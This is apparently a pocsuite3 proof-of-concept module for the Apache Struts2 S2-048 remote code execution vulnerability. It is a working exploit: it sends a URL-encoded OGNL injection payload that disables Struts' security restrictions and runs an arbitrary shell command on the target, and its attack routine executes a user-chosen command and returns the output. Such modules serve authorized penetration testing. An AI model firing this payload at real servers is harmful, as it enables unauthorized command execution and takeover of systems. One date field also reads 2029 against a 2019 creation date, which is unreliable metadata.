import random
from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-048']
    name = 'Apache Struts2 s2-048'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.3.x with Struts 1 plugin and Struts 1 action'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('ls', description="需要执行的命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        randint = random.randint(300, 900)
        calc_result = randint * randint
        cmd = f"echo {calc_result}"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        post_data = self.get_exp(cmd)
        res = requests.post(self.url, headers=headers, data=post_data)
        if str(calc_result) in res.text:
            result["VerifyInfo"] = {
                "URL": self.url,
                "Status": "Success!"
            }
            return result
        return False

    def get_exp(self, cmd):
        cmd = quote(cmd)
        data2 = "name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27" + cmd + "%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=123&__cheackbox_bustedBefore=true&description=123"
        return data2

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            cmd = self.get_option("command")
            headers = {"Content-Type": "application/x-www-form-urlencoded"}
            post_data = self.get_exp(cmd)
            res = requests.post(self.url, headers=headers, data=post_data)
            if res.status_code == 200:
                result["VerifyInfo"] = {
                    "result": res.text.replace("\x00", "").encode()
                }
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
